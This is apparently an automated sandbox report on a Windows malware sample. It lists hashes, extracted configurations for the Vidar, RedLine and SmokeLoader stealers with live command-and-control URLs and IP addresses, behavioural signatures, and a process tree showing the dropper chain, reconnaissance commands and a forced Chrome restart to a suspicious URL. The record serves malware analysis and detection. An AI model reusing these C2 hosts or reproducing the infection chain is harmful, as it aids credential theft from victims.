Resubmissions

13/08/2021, 10:16

210813-wpta271jdx 10

08/08/2021, 23:00

210808-fgs5g9pxfs 10

07/08/2021, 23:12

210807-g2jw1lmd4a 10

07/08/2021, 16:10

210807-51nhct4kfx 10

06/08/2021, 23:43

210806-gc2271nxwj 10

06/08/2021, 06:00

210806-f443x39x8a 10

05/08/2021, 17:08

210805-97y6banvvx 10

04/08/2021, 17:25

210804-hkxx2ntr8x 10

04/08/2021, 12:12

210804-rjbg4b4y7n 10

03/08/2021, 17:12

210803-r2h7ytjwqj 10

Analysis

  • max time kernel
    1801s
  • max time network
    1814s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    03/08/2021, 17:12

General

  • Target

    8 (23).exe

  • Size

    3.0MB

  • MD5

    bb072cad921aa5ce8b97706ce01bc570

  • SHA1

    18bf034906c1341b7817e7361ad27a4425d820bd

  • SHA256

    817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97

  • SHA512

    d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474

Malware Config

Extracted

Family

vidar

Version

39.6

Botnet

933

C2

https://sslamlssa1.tumblr.com/

Attributes
  • profile_id

    933

Extracted

Family

redline

Botnet

35k_SELECT

C2

45.14.49.117:14251

Extracted

Family

smokeloader

Version

2020

C2

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

2_8_r

C2

zertypelil.xyz:80

Extracted

Family

vidar

Version

39.9

Botnet

937

C2

https://prophefliloc.tumblr.com/

Attributes
  • profile_id

    937

Extracted

Family

redline

Botnet

WW

C2

193.56.146.60:51431

Extracted

Family

vidar

Version

39.9

Botnet

921

C2

https://prophefliloc.tumblr.com/

Attributes
  • profile_id

    921

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • Registers COM server for autorun 1 TTPs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE GCleaner Downloader Activity M1
  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
  • suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
  • Vidar Stealer 4 IoCs
  • ASPack v2.12-2.42 8 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 12 IoCs
  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 53 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 14 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
    1⤵
      PID:2788
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
      • Modifies registry class
      PID:2824
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2780
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
          PID:2536
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2520
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1948
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1428
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1384
                • C:\Users\Admin\AppData\Local\Temp\8 (23).exe
                  "C:\Users\Admin\AppData\Local\Temp\8 (23).exe"
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3176
                  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3000
                    • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\setup_install.exe
                      "C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\setup_install.exe"
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:2740
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c sonia_1.exe
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1312
                        • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_1.exe
                          sonia_1.exe
                          5⤵
                          • Executes dropped EXE
                          PID:3972
                          • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_1.exe
                            "C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_1.exe" -a
                            6⤵
                              PID:1280
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sonia_2.exe
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3160
                          • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_2.exe
                            sonia_2.exe
                            5⤵
                            • Executes dropped EXE
                            PID:1708
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sonia_3.exe
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4088
                          • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_3.exe
                            sonia_3.exe
                            5⤵
                            • Executes dropped EXE
                            • Modifies system certificate store
                            PID:1408
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1408 -s 932
                              6⤵
                              • Suspicious use of NtCreateProcessExOtherParentProcess
                              • Program crash
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4740
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sonia_4.exe
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1496
                          • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_4.exe
                            sonia_4.exe
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3336
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sonia_5.exe
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2856
                          • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_5.exe
                            sonia_5.exe
                            5⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            PID:3856
                            • C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe
                              "C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe"
                              6⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:588
                              • C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe
                                C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe
                                7⤵
                                • Executes dropped EXE
                                PID:4824
                              • C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe
                                C:\Users\Admin\Documents\OtrT04uLdQOpbhRbMptqXd74.exe
                                7⤵
                                • Executes dropped EXE
                                PID:4148
                            • C:\Users\Admin\Documents\Td3WfEMG3ix3LfB6cIiQE2JX.exe
                              "C:\Users\Admin\Documents\Td3WfEMG3ix3LfB6cIiQE2JX.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:1240
                            • C:\Users\Admin\Documents\tItvJUP5DCUgIPM5m2GlyNSZ.exe
                              "C:\Users\Admin\Documents\tItvJUP5DCUgIPM5m2GlyNSZ.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:2972
                            • C:\Users\Admin\Documents\LArpBPkveBpkvJ4AUWe70Ph8.exe
                              "C:\Users\Admin\Documents\LArpBPkveBpkvJ4AUWe70Ph8.exe"
                              6⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3396
                              • C:\Users\Admin\Documents\LArpBPkveBpkvJ4AUWe70Ph8.exe
                                C:\Users\Admin\Documents\LArpBPkveBpkvJ4AUWe70Ph8.exe
                                7⤵
                                  PID:4548
                              • C:\Users\Admin\Documents\bLL4Mon0ZtzdKdoDS64DWhHN.exe
                                "C:\Users\Admin\Documents\bLL4Mon0ZtzdKdoDS64DWhHN.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:3440
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c ipconfig /all
                                  7⤵
                                    PID:4412
                                    • C:\Windows\SysWOW64\ipconfig.exe
                                      ipconfig /all
                                      8⤵
                                      • Executes dropped EXE
                                      • Gathers network information
                                      PID:3552
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c wmic cpu get deviceid, name, numberofcores, maxclockspeed
                                    7⤵
                                      PID:3368
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        wmic cpu get deviceid, name, numberofcores, maxclockspeed
                                        8⤵
                                          PID:692
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c wmic memorychip get BankLabel, DeviceLocator, MemoryType, TypeDetail, Capacity, Speed
                                        7⤵
                                          PID:5272
                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                            wmic memorychip get BankLabel, DeviceLocator, MemoryType, TypeDetail, Capacity, Speed
                                            8⤵
                                              PID:5404
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c taskkill /F /IM chrome.exe
                                            7⤵
                                              PID:5236
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM chrome.exe
                                                8⤵
                                                • Kills process with taskkill
                                                PID:5736
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /c start chrome https://apps.extensionoutlet.net/clk/0842fa22-14da-4587-b1fe-3362054f3f99
                                              7⤵
                                                PID:4476
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://apps.extensionoutlet.net/clk/0842fa22-14da-4587-b1fe-3362054f3f99
                                                  8⤵
                                                  • Enumerates system info in registry
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:5592
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xa8,0xcc,0xd0,0x84,0xd4,0x7ffcbaba4f50,0x7ffcbaba4f60,0x7ffcbaba4f70
                                                    9⤵
                                                      PID:6092
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1496 /prefetch:2
                                                      9⤵
                                                        PID:5940
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1820 /prefetch:8
                                                        9⤵
                                                          PID:5964
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2300 /prefetch:8
                                                          9⤵
                                                            PID:4580
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:1
                                                            9⤵
                                                              PID:6064
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:1
                                                              9⤵
                                                                PID:5992
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
                                                                9⤵
                                                                  PID:5452
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:1
                                                                  9⤵
                                                                    PID:5736
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3760 /prefetch:1
                                                                    9⤵
                                                                      PID:5924
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
                                                                      9⤵
                                                                        PID:3148
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4608 /prefetch:8
                                                                        9⤵
                                                                          PID:5508
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:8
                                                                          9⤵
                                                                            PID:6076
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
                                                                            9⤵
                                                                              PID:4508
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5160 /prefetch:8
                                                                              9⤵
                                                                                PID:3404
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5200 /prefetch:8
                                                                                9⤵
                                                                                  PID:3300
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3812 /prefetch:8
                                                                                  9⤵
                                                                                    PID:5292
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
                                                                                    9⤵
                                                                                      PID:6084
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5636 /prefetch:8
                                                                                      9⤵
                                                                                        PID:5524
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5936 /prefetch:1
                                                                                        9⤵
                                                                                          PID:4632
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5008 /prefetch:1
                                                                                          9⤵
                                                                                            PID:4384
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
                                                                                            9⤵
                                                                                              PID:6060
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6180 /prefetch:8
                                                                                              9⤵
                                                                                                PID:5224
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3880 /prefetch:8
                                                                                                9⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                • Checks SCSI registry key(s)
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:4160
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:8
                                                                                                9⤵
                                                                                                  PID:4176
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4040 /prefetch:8
                                                                                                  9⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4144
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3876 /prefetch:8
                                                                                                  9⤵
                                                                                                    PID:5628
                                                                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                                                                    9⤵
                                                                                                      PID:5420
                                                                                                      • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x240,0x244,0x248,0x21c,0x24c,0x7ff7c4e5a890,0x7ff7c4e5a8a0,0x7ff7c4e5a8b0
                                                                                                        10⤵
                                                                                                          PID:4476
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3836 /prefetch:8
                                                                                                        9⤵
                                                                                                          PID:4812
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3780 /prefetch:8
                                                                                                          9⤵
                                                                                                            PID:4168
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3408 /prefetch:8
                                                                                                            9⤵
                                                                                                              PID:6032
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3444 /prefetch:8
                                                                                                              9⤵
                                                                                                                PID:4948
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3452 /prefetch:8
                                                                                                                9⤵
                                                                                                                  PID:4908
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5640 /prefetch:8
                                                                                                                  9⤵
                                                                                                                    PID:5472
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6188 /prefetch:8
                                                                                                                    9⤵
                                                                                                                      PID:5420
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:8
                                                                                                                      9⤵
                                                                                                                        PID:4068
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6172 /prefetch:8
                                                                                                                        9⤵
                                                                                                                          PID:5488
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3400 /prefetch:8
                                                                                                                          9⤵
                                                                                                                            PID:3224
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
